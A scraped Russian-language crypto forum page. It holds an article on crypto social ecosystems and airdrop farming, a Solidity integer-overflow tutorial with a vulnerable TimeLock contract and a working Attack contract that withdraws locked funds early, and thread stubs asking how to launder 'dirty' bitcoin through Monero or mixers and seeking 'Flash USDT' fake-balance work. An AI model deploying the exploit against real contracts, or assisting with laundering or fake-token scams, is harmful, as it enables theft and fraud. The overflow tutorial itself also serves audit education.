![catapult.xyz](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F634842a0f5b9a9cf315d6ef2%2F6627dd57856b2528ace99f7b_favicon-32x32.png&hash=9f5acd32a527eeb67d5f7e61503b8044&return_error=1) catapult.xyz

www.xdao.app

XDAO – MultiChain DAO Ecosystem

Create your DAO in 1 minute and raise funds for your project.

![www.xdao.app](/proxy.php?image=https%3A%2F%2Fwww.xdao.app%2Fimages%2FmediaKit%2Fsvg%2Ficon- black-circled.svg&hash=85c3b619c987fb99290cc8768e6e5bcf&return_error=1) www.xdao.app

![joinorigami.com](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F637d22ff8847516cbd2d906b%2F6396fddfc763eaa8b88200f8_OG%2520Home.jpg&hash=ecaac7fbfedb06d2eb106ccfa0e349b5&return_error=1)

Create a DAO with us

We create and grow DAOs, including alumni of Y Combinator (Orange DAO), Kauffman Fellows (VC3) and TechStars (Constellation)

![joinorigami.com](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F637d22ff8847516cbd2d906b%2F639b58cf1e510e6e6d3d0842_favicon-32x32.png&hash=098eb72f38ce0529e4e6d56eecf431f9&return_error=1) joinorigami.com

![www.hatsprotocol.xyz](/proxy.php?image=https%3A%2F%2Findigo-selective- coral-505.mypinata.cloud%2Fipfs%2Fbafkreiek7ehtmuke5cmjkgi5dhkzwirc4wu6y2csea63umskgrcmz5mdii%3FpinataGatewayToken%3DM- iEBglWoUCZWJYsihe1IRrngs7HIGeIr3s5lObVw96hv7GTuCw1QrlmnNtwvuXt&hash=f1b8951ea66aca9b4e3ff6525d839feb&return_error=1)

[ Hats Protocol: roles & permissions for the open internet

](https://www.hatsprotocol.xyz)

Save time, automate onboarding, and manage permissions across the internet with programmable onchain roles

![www.hatsprotocol.xyz](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F6487e09e4e4c6422f514dd41%2F64de514ba39c3ff44ccfa950_hats%2520hat%252032x32.png&hash=f0511951f32d210714e788465f5769ba&return_error=1) www.hatsprotocol.xyz

Сюда относятся и социальные токены и социальные сети и инструменты для управления коммьюнити.
Суть состоит в том, что бренды/инфлюенсеры хотят более глубоких отношений со своими фанатами.
А фанаты хотят больше внимания от кумиров.
Открытая система может им в этом помочь, поскольку не будет пытаться забрать часть пирога и вмешиваться в чужие отношения.

Spoiler: Платформы для общения брендов с фанатами

SO-COL: Create and engage with your community

![www.socol.io](/proxy.php?image=https%3A%2F%2Fwww.socol.io%2Fmeta%2Fandroid- icon-192x192.png&hash=7091a60fd5a96302ce76ce8eb7b84f5b&return_error=1) www.socol.io

![www.arianee.org](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F63dd075a9e277ca2c4b0244c%2F6479ab654e849e4bcb8d50be_OpenGraph-Org- home.jpg&hash=67be6294cee5d79d4ad986e10f90174d&return_error=1)

Arianee Protocol | Tokenized Digital Product Passports

The most widely used protocol for tokenized digital passports. The Arianee Protocol enables the direct connection between Brands - Physical Products - Owners: Circular business models, Digital sovereignty for brands and users, Multi-EVM

![www.arianee.org](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F63dd075a9e277ca2c4b0244c%2F63ed182140d1e05a7a07ba44_Favicon%2520Arianee.org.png&hash=8cd365bf05bd9c820f546f70c111660f&return_error=1) www.arianee.org

![zoopcards.com](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F640529b41dc5457b7da3eb69%2F6585a72dce82e1e86d09f981_Zoop1200_650_3.png&hash=e16608f5d8951ea26811cb5455d6793e&return_error=1)

Zoop

Join Clubs and Connect with your favorite celebrities & creators. Unlock exclusive content and access rewards & real-life experiences!

![zoopcards.com](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F640529b41dc5457b7da3eb69%2F645e21f03a1bfedf05532fd0_favicon-32x32px%2520copy.jpg&hash=7787fc947b2c0a7ab98f911c96b3399c&return_error=1) zoopcards.com

![komon.io](/proxy.php?image=https%3A%2F%2Fstorage.googleapis.com%2Fkomon- website%2Ficon_app_link&hash=b03b4a886c5f8ef608974ae9197c18b9&return_error=1)

Komon - Home

Join the community of your favorite creator by creating an account on Komon or connecting your MetaMask wallet!

![komon.io](/proxy.php?image=https%3A%2F%2Fstorage.googleapis.com%2Fkomon- website%2Ficon_app_link&hash=b03b4a886c5f8ef608974ae9197c18b9&return_error=1) komon.io

![www.tyb.xyz](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F65e254fa7d4560da067256f0%2F65ef55136fd17ddc98f1c20c_Open%2520graph.jpg&hash=aac6ac7527ba823a3f5820d1ee7eddff&return_error=1)

Community Rewards Platform | TYB

TYB is a community rewards platform, where community engagement pays off. Brands use TYB to reward fans for engagement, UGC, social ambassadorship, purchases and so much more.

![www.tyb.xyz](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F65e254fa7d4560da067256f0%2F65ef55b6026e00b9a180cd6d_favicon.png&hash=4df4a3c75b82c5521b0eb6fb2df55deb&return_error=1) www.tyb.xyz

Tellie

Grow your contact lists and allow your audience to unlock exclusive access stories across video, audio, text, and images.

![join.tell.ie](/proxy.php?image=https%3A%2F%2Fassets.website- files.com%2F605903201b322c142560a516%2F6067a99a73bd5e6bccbb23b7_favicon.png&hash=c7b7d21967d58a7fc628f8c52fb65165&return_error=1) join.tell.ie

Truts

Discover web3 communities that vibes with you from a list of thousands of communities across different categories (service, investment, media, social) and know all about them

www.truts.xyz www.truts.xyz

Snickerdoodle

www.snickerdoodle.com www.snickerdoodle.com

![www.hang.xyz](/proxy.php?image=https%3A%2F%2Fd2f1bwkek8d8co.cloudfront.net%2Fassets%2Flive%2FHang- SocialAvatar- Square-6-7c1382786f025a306bd3feaf2f2fe01981b610712e5461704b2aad84ee29c53e.png&hash=abac091326ce30d338ca08e530ad1461&return_error=1)

Hang - Brand loyalty, reimagined

Hang is the leading all-in-one customer relationship building platform, powering the next generation of brand loyalty.

![www.hang.xyz](/proxy.php?image=https%3A%2F%2Fd2f1bwkek8d8co.cloudfront.net%2Fassets%2Flive%2Ffavicon%2FHang- SocialAvatar- Square-2-623ee4f7522b6e1a7b32b68d429b3f7d855882c601792bfd7b1d20ed1085abef.png&hash=5abdb6f0aa589a9a1e9e38b6d034c95b&return_error=1) www.hang.xyz

channel

www.channel.xyz www.channel.xyz

![unlock-protocol.com](/proxy.php?image=https%3A%2F%2Funlock- protocol.com%2Fimages%2Funlock.png&hash=268bac7d759c6f2320b56c2956b2b300&return_error=1)

Unlock

Unlock is a protocol which enables creators to monetize their content with a few lines of code in a fully decentralized way.

![unlock-protocol.com](/proxy.php?image=https%3A%2F%2Funlock- protocol.com%2Fimages%2Ffavicons%2Ffavicon.ico&hash=a17bd536e331b3312c8fab1016e04c7f&return_error=1) unlock-protocol.com

![www.mintstars.com](/proxy.php?image=https%3A%2F%2Fmintstars.com%2Fopengraph- image.jpeg%3F0c2e654433daeebe&hash=e1baf20fc01b2037e366f8d6e37b20ad&return_error=1)

MintStars

Take control of your content and earnings. MintStars is a subscription platform for creators, models, and their fans.

www.mintstars.com www.mintstars.com

Web3 Brand-Retail Enabler - SerMorpheus

SerMorpheus is a Web3 Brand-Retailer enabler platform. We aim to be a No-Code Web3 platform where brands/ creators could create NFTs and manage its utilities to

![blog.sermorpheus.com](/proxy.php?image=https%3A%2F%2Fblog.sermorpheus.com%2Fwp- content%2Fuploads%2F2022%2F09%2Fcropped- Artboard-1-32x32.png&hash=4b7f80d4472fe84b6ae6e1d4f69a3b37&return_error=1) blog.sermorpheus.com

![heirloom.io](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F62e9d2be8685a960f67c1271%2F645ac9d1cd5b84579005b61a_OpenGraphImage_platform2.0.jpg&hash=d743d56d0b05ae7c02c50a5fb419fc96&return_error=1)

Heirloom – The identity platform built on proof.

Heirloom makes personal and enterprise identity management easy. Using the power of the blockchain, we enable people and businesses to prove things about themselves to transact more genuinely online. It's time to take a stand for authenticity.

![heirloom.io](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F62e9d2be8685a960f67c1271%2F649b68cf4ec3b153740ff526_HL_Favicon.png&hash=a8197b00d31da4275ee8d02309504413&return_error=1) heirloom.io

Perk Shop

perk.shop perk.shop

pearpop.com

Pearpop

Pearpop is The Creator Collaboration Company, trusted by the worldâs best brands for Creator Marketing. Full-Stack Technology. Full-Service Partnership. Full Funnel Performance.

pearpop.com pearpop.com

![playember.com](/proxy.php?image=https%3A%2F%2Fplayember.com%2Fwp- content%2Fuploads%2F2023%2F12%2Fplayember_logo_192.png&hash=e9ec2a7b1eaf18883a75d6f5a2658036&return_error=1)

Home - Playember

Welcome to PlayEmber, where we reignite the joy of mobile gaming! 🎉 Boasting over 120 million downloads. Explore our diverse portfolio, featuring successful IP games and a top-3 blockchain game with 1.03 million monthly active Web3 users. Join our vibrant community on Twitter and Discord.

![playember.com](/proxy.php?image=https%3A%2F%2Fplayember.com%2Fwp- content%2Fuploads%2F2024%2F01%2Fcropped- favicon-32x32.png&hash=6c536fd1614721c1390f6606ebc7759f&return_error=1) playember.com

[ The College Sports Company - Athlete Driven Media

](https://teammercury.io)

A college sports media and production company building brands, original content, talent, and products that bring fans closer to the teams and athletes they love.

![teammercury.io](/proxy.php?image=https%3A%2F%2Fcdn.prod.website- files.com%2F65a14c5684cdbc76b9557f2a%2F66a1063eee314934e6addf2d_TCSC_Favicon_S.png&hash=aae613651b038925494e3a14a81d1821&return_error=1) teammercury.io

https://yoloyolo.xyx

www.rye.com

Rye: Millions of Products. One API.

Rye is a universal e-commerce API that allows you to sell anything on the internet and earn revenue.

www.rye.com www.rye.com

www.rarecircles.com

RareCircles | The Customer Experience Platform for Retail

RareCircles has everything you need to build your community, grow your business and boost retention.

www.rarecircles.com www.rarecircles.com

3**. Почему делаю ставку на social** ​

Кажется, что фаза роста позади и впереди нас ждет схлопывание пузырей.
В этом сценарии ценность свободных денежных средств начнёт увеличиваться (да, мы можем снова пойти по пути печатания денег, но крах во имя выравнивания экономики неизбежен).
Важно также учитывать, что в реальном мире события длятся медленней, поэтому некоторые процессы (например банкротства) могут растянуться на годы.
Период ожидания фазы роста нужно правильно использовать. Начинайте создавать то, что позволит собрать сливки со следующей волны.
С рынков уходят деньги, но остаётся другой важный ресурс - люди.

Люди не могут существовать изолированно. Мы чувствуем потребность вступать в социальные взаимодействия друг с другом.
Именно это сейчас и происходит - объединение в коммьюнити, кооперация, создание продуктов.
За последнее время пришла к выводу, что иметь своё коммьюнити/аудиторию - лучшее, что может быть.
К вам тянутся люди, предлагают идеи, помощь.
С людьми вы можете создать абсолютно любой бизнес, пойти в политику, это открывает безграничные возможности.

Мы имеем несколько блокчейнов, кошельки, средства передачи информации, инструменты для разработки, достаточное количество билдеров, разработчиков, новых людей. Теперь мы готовы строить социальную систему.
Этого не было в таких масштабах в 2018 году, но зато есть сейчас.
Рынок продолжает развиваться даже без вливаний денег фондами.

На западе умеют создавать идеи и внушать их массам.
Ресерч западного твиттера показал бум сошиал проектов, а также то, что люди активно объединяются в коммьюнити и делают из этого полноценный бренд.

В то же время анализ СНГ пространства показал, что все сидят в одном информационном поле, обсуждают одинаковые проекты, делают однотипные тестнеты, амбассадорки. Почти ни слова про сошиал. И это неудивительно.
Практика показывает, что люди приходят туда, где когда-то удалось заработать.
С крипто сошиал такого ещё не было, это абсолютно новая система и люди просто не видят возможностей.
Может быть их и правда нет.
А может быть они огромны как раз потому что их никто не видит.

Важным является тот факт, что мы являемся теми, кто будет пользоваться социальными продуктами.
В связи с этим увеличивается вероятность того, что большая часть токенов отойдёт коммьюнити, а не фондам.

4. Как на этом заработать

Во время буллрана проекты раздавали тысячи долларов за подписку на новостную рассылку или заполнение формы интереса.
Десятки тысяч долларов можно было получить за тестнеты или амбассадорские программы.
Сейчас денег на рынке стало меньше, а дропхантеров больше.
За получение дропов вы соревнуетесь со школьниками и ботами.
Они готовы выполнять большой объём работы за маленькое вознаграждание.
Как победить их?
Для этого нужно понять ваше преимущество и использовать его - это может быть ваш пол, неординарные идеи, любая уникальность, внешность, открытость, технические знания, другая специализация.
Неясно дадут ли деньги снова за простое заполнение формы, эта модель уже сработала и слишком много людей пытается её применить.
Тем не менее фаза мании неизбежно наступит.
Мне кажется перспективным искать новые модели, например, проявлять активность (в формате ведения блога) в социальных графах, поскольку проекты, которые будут строиться на них, захотят привлечь к себе внимание, наградив активных пользователей экосистемы.
Также активность в крипто соц сетях можно рассматривать как способ построения репутации.
Чем больше лайков, подписчиков, постов, тем выше ваш рейтинг доверия, что может повлиять на эирдропы, участие в дефи протоколах.

Закрытые монопольные образования, в том числе СМИ, теряют свою власть. Людям интересней контент обычных людей, таких, как мы с вами.
Собрав аудиторию, вы можете создать всё, что угодно.
Пока конкуренция в новых социальных сетях низкая, есть возможность быстро раскрутиться, притянуть подписчиков, построить бренд.

Имея раскрученные страницы в социальных сетях, вы можете вступать с проектами в партнёрства и получать различные привилегии, будь то вайтлисты, аллокации на сейлы, токены со скидкой или бесплатно.
Мы уже практикуем это, давая ссылку на наш ленс профиль.

Децентрализованные социальные сети более ориентированы на интересы пользователей, что создаёт новые возможности для монетизации контента - удобно встроенные донаты, платные подписки.

Один из вариантов деятельности - занимать в социальных графах и других экосистемах доменные имена, которые могли бы быть интересны людям, зашедшим после вас. Названия компаний, бренды, имена, популярные ники. Домены и профили легко продаются, поскольку вы владеете ими в формате НФТ.

Новое и перспективное направление - инвестируем в социальные токены ДАО/инфлюенсеров/брендов. Также можно инвестировать в контент, профили, посты (в ленс протколе уже реализованы эти функции, но на очень ранней фазе, копайте).

Если у вас есть раскаченная страничка, небольшое коммьюнити/аудитория, то не составит труда получить грант от того же ленс протокола и направить ресурсы на создание/расширение собственного дела.

5. Экосистемы, за которыми стоит следить​

Точечные попадания приносят больше всего профита, в то же время имеют наименьшую вероятность попадания.
В связи с этим мне нравится делать ставки на экосистемы.
В экосистеме успех одного проекта оказывает положительное воздействие как на другие проекты экосистемы, так и на всю экосистему в целом.
Думаю, что победителей стоит искать именно здесь. Правда пока неясно как будут соотноситься эти экосистемы друг с другом.
Смотрите также количество партнёрств, интеграций, заинтересованность билдеров веб 3.0 по подпискам в твиттере.

5.1. Экосистема Lens protocol​

Lens Protocol - это социальный граф от команды, создавшей дефи протокол Aave.
1676895140435.png
Актуальный список проектов экосистемы ленс протокола можно найти ещё ТУТ
Из всей экосистемы выделю сервис профилей https://www.lensfrens.xyz
Важно, что это единый профиль на все приложения, которые будут построены на ленс протоколе.
Поэтому имеет смысл занимать домены и набирать подписчиков в условиях слабой конкуренции.
Обратите внимание, профиль продаётся вместе с подписчиками!
Также хочется отметить наличие собственного маркетплейса - https://lensport.io
Пока на нём можно покупать профили и посты, но, думаю, что в будущем варианты монетизации и инвестиций расширятся.
Инвестиции в creators (создателей контента) - перспективная и новая ниша, следим.

5.2. Экосистема Cyberconnect​

Cyberconnect - это китайский социальный граф.

Список проектов экосистемы Cyb
erconnect есть у них на сайте, прокручивайте вниз ТУТ
Если хотите найти больше проектов, тогда заходите на твиттеры основателей/связанных с проектом лиц, открывайте их подписки и ищите зацепки.
Из всей экосистемы выделю https://link3.to
Через него можно занять домен, организовывать/участвовать в АМА, рассылать/собирать токены Soulbound (идентити).
Эти активности, вероятно, повлияют на ваш социальный рейтинг.
Сам по себе Cyberconnect выглядит менее перспективно, чем ленс.
Если в ленс протоколе большая часть проектов идёт от коммьюнити, то тут чувствуется централизация и закрытость.
Однако Cyberconnect тесно сотрудничает с другими китайскими проектами, в том числе с rss3, mask network, matrix world.
Советую углубиться в их экосистему и партнерства, видно, что они связаны и делают "свой интернет".
Обратите внимание на rss3 и его социальный протокол**https://crossbell.io **Там всё настолько early, что удалось занять домены с названиями блокчейнов и фондов. Пока не выделила это в отдельную экосистему, но она, скорей всего, будет.
Важно делать ставку на обе стороны, поэтому наблюдаем и за этой историей.

5.3. Экосистема Farcaster​

Farcaster - это открытый протокол, позволяющий создавать социальные приложения.
Список приложений на Farcaster можно найти ТУТ и ТУТ
Из всей экосистемы отмечу само приложение Farcaster, которое позиционирует себя как твиттер Web 3.0.
В приложении есть интересная функция, позволяющая отслеживать НФТ активности пользователей приложения.
Мы видим название нфт и сколько человек из приложения владеют ей.
Также можно посмотреть имена владельцев каждой популярной (за разный промежуток времени) нфт.
И время когда они минтили нфт.
Полезные функции, учитывая, что почти все пользователи фаркастера - это западные билдеры и люди, связанные с Веб 3.0.

5.4. Экосистема DeSo​

DeSo - это социальный блокчейн.
Его токен уже торгуется и большое количество доменов занято, поэтому кажется менее перспективным, тем не менее можно наблюдать за развитием экосистемы.

Список проектов экосистемы DeSo можно найти ТУТ
В экосистеме представлены децентрализованные аналоги всех популярных
веб 2.0 сетей - тиктока, твиттера, инстаграма, линкеид, медиума, дискорда.
Выглядит как чисто коммерческая история от фондов, не чувствуется участие коммьюнити, что не соответствует сути сошиал.
Однако всё может измениться.

5.5. Экосистема Сeramic​

Ceramic дает разработчикам собственный способ для добавления важных функций, таких как расширенная идентификация (профили, репутация, социальные графы), пользовательский контент (сообщения, взаимодействия), использование динамических данных в приложениях и многое другое.

Список проектов экосистемы Ceramic можно найти ТУТ
Пока не чувствуется сила коммьюнити, не нравится визуал и не ясна техническая сторона, но проект часто мелькает в твиттере. Думаю, стоит присмотреться и к нему.

6. Заключение​

Сошиал категория в крипте кажется перспективной ввиду новизны, большого количества вариаций монетизации и её понятности людям не из крипто мира.
Однако победителей будет сложно разглядеть.
Делайте много ставок с наименьшими затратами, следите за экосистемами, копайтесь в твиттере.
Подумайте о своих преимуществах и разработайте уникальную стратегию действий на рынке.
Будьте готовы к самостоятельному поиску уникальной информации из первоисточников.
Тут нет того, кто сможет разжевать вам настолько актуальную информацию.
Разве что мы!
(КОПИПАСТ)

NFT airdrops ...
ID: 67686ad7b4103b69df379746
Thread ID: 109905
Created: 2024-03-07T15:22:06+0000
Last Post: 2024-04-20T23:44:15+0000
Author: shelbey20
Replies: 8 Views: 1K

anyone has experience in smart contract , want to create NFTs airdrop to random peolple through erc 20 network .. please pm here for more infos

Посоветуйте способ обмена BTC - XMR
ID: 67686ad7b4103b69df379747
Thread ID: 99176
Created: 2023-10-01T11:32:18+0000
Last Post: 2024-04-20T21:17:31+0000
Author: Cendareto
Replies: 19 Views: 1K

Привет, посоветуйте сервис, куда можно загнать грязные битки с высоким ALM и купить за них монеро. Есть ли вообще такие?

Портфолио на бычку
ID: 67686ad7b4103b69df379749
Thread ID: 112376
Created: 2024-04-10T14:09:38+0000
Last Post: 2024-04-17T09:55:11+0000
Author: Zabuza
Replies: 20 Views: 1K

Что и когда советуете купить? В приорите надежность, рисковать и ловить иксы на щит-коинах не хочу.

Введение в аудит безопасности смарт-контрактов | Переполнение
ID: 67686ad7b4103b69df37992a
Thread ID: 70817
Created: 2022-07-29T08:29:37+0000
Last Post: 2022-07-29T08:29:37+0000
Author: вавилонец
Prefix: Статья
Replies: 0 Views: 1K

Существует два типа потока, переполнение и недополнение. Так называемое переполнение относится к тому факту, что при выполнении одного числового вычисления результат вычисления превышает предел емкости, который может хранить или представлять регистр или память. Например, в Solidity диапазон, который может представлять uint8, составляет 256 чисел от 0 до 255. Когда тип uint8 используется для вычисления 255 + 1 в фактической операции, произойдет переполнение, поэтому расчетный результат равен 0, минимальное значение, которое может представлять тип uint8. Точно так же потеря значимости возникает, когда результат вычисления минимален, меньше предела емкости, которую регистр или память может хранить или представлять. Например, в Solidity, когда тип uint8 используется для вычисления 0–1, это приведет к потере значимости, поэтому вычисленное значение равно 255, что является максимальным значением, которое может представлять тип uint8.
Если в контракте есть лазейка для переполнения, фактический результат расчета может существенно отличаться от ожидаемого результата. Это повлияет на нормальную логику контракта и приведет к потере средств в контракте. Однако существуют ограничения версии для уязвимостей переполнения. В версиях Solidity < 0.8 переполнение не сообщит об ошибке, но в версиях >= 0.8 переполнение вызовет ошибку. Поэтому, когда мы видим версию контракта 0.8, мы должны отметить, что этот контракт может иметь уязвимости переполнения.

Пример​

Прочитав о переполнениях, давайте рассмотрим пример:

Code:Copy to clipboard

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.7.6;

    contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    function deposit() external payable {
    balances[msg.sender] += msg.value;
    lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint _secondsToIncrease) public {
    lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
    require(balances[msg.sender] > 0, “Insufficient funds”);
    require(block.timestamp > lockTime[msg.sender], “Lock time not expired”);

    uint amount = balances[msg.sender];
    balances[msg.sender] = 0;

    (bool sent, ) = msg.sender.call{value: amount}(“”);
    require(sent, “Failed to send Ether”);
    }
    }

Анализ уязвимостей​

Мы видим, что контракт TimeLock действует как хранилище времени. Пользователи могут вносить и блокировать средства в контракте с помощью функции депозита, которая будет заблокирована как минимум на одну неделю. Конечно, пользователь все еще может увеличить время хранения с помощью функции increaseLockTime. Пользователь не может вывести токены, заблокированные в контракте TimeLock, до истечения установленного срока хранения. Глядя на функцию increaseLockTime и функцию депозита в этом контракте, мы видим, что он содержит арифметические функции. Версия, поддерживаемая контрактом, является 0.7.6 повышающей совместимость, поэтому этот контракт не будет сообщать об ошибке при арифметическом переполнении. Давайте проанализируем две функции: increaseLockTime и функцию депозита. Мы можем начать с изучения диапазона влияния параметров в этих двух функциях, а затем решить, как начать атаку.

1. Функция депозита имеет две операции. Первый влияет на балансы, депонированные пользователем. Передаваемые здесь параметры являются управляемыми, поэтому существует риск переполнения. Другой — повлиять на время блокировки пользователя. Логика расчета здесь заключается в том, что каждый раз, когда вызывается депозит для внесения токенов, lockTime будет добавляться на одну неделю. Поскольку параметры здесь фиксированы, в этом расчете нет риска переполнения.

2. Функция increaseLockTime выполняет вычисления на основе параметра _secondsToIncrease, переданного пользователем, для изменения времени блокировки депонированных пользователем токенов. Поскольку параметр _secondsToIncrease является управляемым, существует риск переполнения.

Рассмотрим подробнее balances. Значительная сумма средств (точнее, ²²⁵⁶) должна быть внесена на наш счет, чтобы создать переполнение. Это приведет к тому, что остатки на нашем счете переполнятся и сократятся до нуля, что создаст впечатление, что там ничего нет. Из-за характера этой уязвимости вы можете понять, почему не многие рассматривают этот вариант.

Теперь сосредоточимся на _secondsToIncrease. Этот параметр передается, когда мы вызываем функцию increaseLockTime для увеличения времени хранения. Этот параметр может определять, когда мы вносим и фиксируем средства в контракте. Он рассчитывается напрямую с помощью lockTime, соответствующего учетной записи. Мы можем манипулировать параметром _secondsToIncrease, чтобы вызвать переполнение и вернуться к нулю, что позволит нам снять баланс до истечения срока действия.

Давайте посмотрим на contract Attack:

Code:Copy to clipboard

    contract Attack {
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
    timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
    timeLock.deposit{value: msg.value}();
    timeLock.increaseLockTime(
    type(uint).max + 1 — timeLock.lockTime(address(this))
    );
    timeLock.withdraw();
    }
    }

Далее мы развернем контракт эксплойта, чтобы сначала внести Eth, а затем воспользуемся уязвимостью переполнения контракта, чтобы извлечь средства, которые мы депонировали.

1. Сначала разверните контракт TimeLock.

2. Развернем эксплойт контракта и передадим адрес контракта TimeLock.

3. Вызвать функцию Attack.attack; Затем он вызывает функцию TimeLock.deposit для внесения Eth в контракт TimeLock (в это время Eth будет заблокирован TimeLock на неделю). Затем он снова вызывает функцию TimeLock.increaseLockTime. Он передает максимальное значение, которое может быть представлено типом uint (²²⁵⁶-1) плюс один минус время блокировки, записанное в текущем контракте TimeLock. На данный момент результатом lockTime в функции TimeLock.increaseLockTime является значение ²²⁵⁶. Поскольку число ²²⁵⁶ переполняется, возвращаемое значение будет равно 0. В этот раз мы только что сохранили значение в контракте TimeLock, и возвращаемое время блокировки для контракта становится равным 0.

4. В это время Attack.attack снова вызывает TimeLock. Функция снятия успешно пройдет block.timestamp>lockTime[msg.sender] Эта проверка позволяет нам успешно удалить заранее, когда время хранения еще не истекло.

Ниже приведена блок-схема вызова функции злоумышленника:

1659083161315.png

" Ичто же, Шура, теперь делать..."

Теперь, когда мы лучше понимаем уязвимости переполнения, мы можем научиться защищаться от них. Мы узнаем, как предотвратить уязвимости переполнения и быстро обнаружить их с точки зрения разработчиков и аудиторов:

Как разработчик

1. Используйте SafeMath для предотвращения переполнения;
2. Используйте Solidity 0.8 и выше для разработки контрактов и используйте unchecked с осторожностью, потому что нет проверки переполнения для параметров в непроверенных измененных блоках кода;
3. Необходимо с осторожностью использовать приведение типов переменных. Например, приведение параметра типа uint256 к типу uint8 может вызвать переполнение из-за разных диапазонов значений двух типов.

Как аудитор

1. Сначала проверьте, не ниже ли версия контракта Solidity 0.8 или непроверенный модифицированный блок кода. Если есть, сначала проверьте переполнение параметров и определите сферу влияния.
2. Если версия контракта ниже Solidity 0.8, вам необходимо проверить, ссылается ли контракт на SafeMath.
3. Если используется SafeMath, нужно обратить внимание на то, есть ли в контракте обязательное преобразование типов. Если есть, может возникнуть риск переполнения.
4. Если SafeMath не используется и в контракте есть арифметические операции, мы можем сделать вывод, что этот контракт может иметь риск переполнения. При фактическом аудите мы также должны учитывать существующий код.

Как проверить балансы различных крипто кошельков?
ID: 67686ad7b4103b69df379757
Thread ID: 55175
Created: 2021-08-11T16:15:45+0000
Last Post: 2024-03-30T07:25:09+0000
Author: AmnesiaSecurity
Replies: 9 Views: 1K

Приветствую всех! Подскажите пожалуйста новичку, какие есть способы проверки балансов на различных криптокошельках различных криптовалют. Помимо Blockchain Explorer.
Вот кошельки балансы которых необходимо проверять:

Metamask
Electrum
Exodus
Atomic
Coinomi
Jaxx
Trezor
safepay
guarda
eidoo
safe multisig
wasabi
bither
chia
mymonero
mywallet

Заранее спасибо за ответы!

Безопасен ли Binance
ID: 67686ad7b4103b69df379758
Thread ID: 111042
Created: 2024-03-22T07:45:38+0000
Last Post: 2024-03-30T06:33:08+0000
Author: Abonent
Replies: 14 Views: 1K

Всех приветствую, хотел бы узнать, безопасен ли криптокошель Binance для повседневного пользования. Если нет, то по каким причинам?? -Зарание спасибо за ответы!

Куда продать Биткоин подскажите.
ID: 67686ad7b4103b69df37975c
Thread ID: 109862
Created: 2024-03-07T01:48:46+0000
Last Post: 2024-03-26T13:30:48+0000
Author: Зак
Replies: 19 Views: 1K

Народ куда продать биткоин по хорошему курсу и без обмана или подскажите надежный миксер

Мониторинг кошельков
ID: 67686ad7b4103b69df379775
Thread ID: 108990
Created: 2024-02-24T22:14:56+0000
Last Post: 2024-03-06T05:07:42+0000
Author: lisa99
Replies: 8 Views: 1K

Есть ли у кого лично примеры успешного применения отслеживания транз по кошелькам?
Например, Theriella всяко пытается добраться до владельцев криптопулов перед пампом.

Можно ли понять кто собирается устроить памп и вмешаться в процессе первой волны? Мониторя не просто новые пулы а транзы конкретного кошелька?

Есть ли другие применения практические мониторинга кошельков?

Tether и Circle не блокируют адреса trc20?
ID: 67686ad7b4103b69df379781
Thread ID: 108604
Created: 2024-02-19T17:38:13+0000
Last Post: 2024-02-23T06:37:16+0000
Author: horyga
Replies: 27 Views: 1K

Смотрел какие и сколько адресов было залочено в usdt и usdc, все локнутые адреса в erc20, но адресов в сети трон нет вовсе. Может не там смотрел, ссылки ниже:

[ https://dune.com/phabc/usdt---banned-addresses ](https://dune.com/phabc/usdt ---banned-addresses)

[ https://dune.com/phabc/usdc-banned-addresses ](https://dune.com/phabc/usdc- banned-addresses)

Какие мысли по этому поводу?

Надежный мультивалютный крипто кошелек.
ID: 67686ad7b4103b69df379783
Thread ID: 108600
Created: 2024-02-19T16:43:21+0000
Last Post: 2024-02-22T20:32:05+0000
Author: Matanbuchus
Replies: 22 Views: 1K

Какой мультивалютный кошелек выбрать? Главный критерий безопасность и надежность также очень желательно иметь приватный ключь только у себя ну и конечно поддержка не одной валюты. Atomic и Exodus не предлогать!

Ищу специалиста по Flash USDT!
ID: 67686ad7b4103b69df379785
Thread ID: 99511
Created: 2023-10-06T12:24:37+0000
Last Post: 2024-02-21T10:38:23+0000
Author: network_warrior
Replies: 9 Views: 1K

Ищу специалиста, который сможет реализовать Flash USDT оплата процент.
Условия: Это должен быть оригинальный токен, он должен приходить в уже имеющейся оригинальный токен, отображаться в общем балансе кошелька.
Кошельки, которые нужны: Coinbase wallet, Atomic, Metamask, Trust Wallet.

Набор информации для web3 энтузиастов
ID: 67686ad7b4103b69df379792
Thread ID: 101023
Created: 2023-10-26T16:10:42+0000
Last Post: 2024-02-11T17:49:07+0000
Author: sabahulnoor
Prefix: Статья
Replies: 10 Views: 1K

Привет! Давно не виделись.
Новых идей и интересностей у меня нет, поэтому получайте комком информацию по смарт-контрактам, дрейнерам, атакам, смотря кому что интересно.

Про Etherium, смарт-контракты и т.д.
Сейчас будет скучно, душно, тягуче. Но тот кому это надо, прочитает до конца уверен.
Если же вы пользуетесь в своей жизни поговоркой 'зачем мне понимать что это, если оно итак работает', то вы можете спокойно листать ниже , тут вы не найдёте ничего интересного. Абсолютно.

Всем остальным:

Итак все знают, что Ethereum - это блокчейн платформа,децентрализованная платформа, с открытым исходным кодом, для создания DAPP'ов и cмартконтрактов, надо знать хотя бы это. В нем используется P2P(одноранговая, об этом чуть ниже) сеть узлов.

Ethereum - сеть (часто называемый "эфиром" или "eth") появлялся перед «эфиром»

Ethereum по некоторым предположениям была предложена Виталиком Бутерином в конце 2013 года, и работа по развитию началась в начале 2014 года.
Основная, главная, нативная валюта Ethereum, "эфир" (в простонародье «ETH»), используется в Ethereum для всего, например, оплата fee за транзакции и взаимодействие с смартконтрактами.
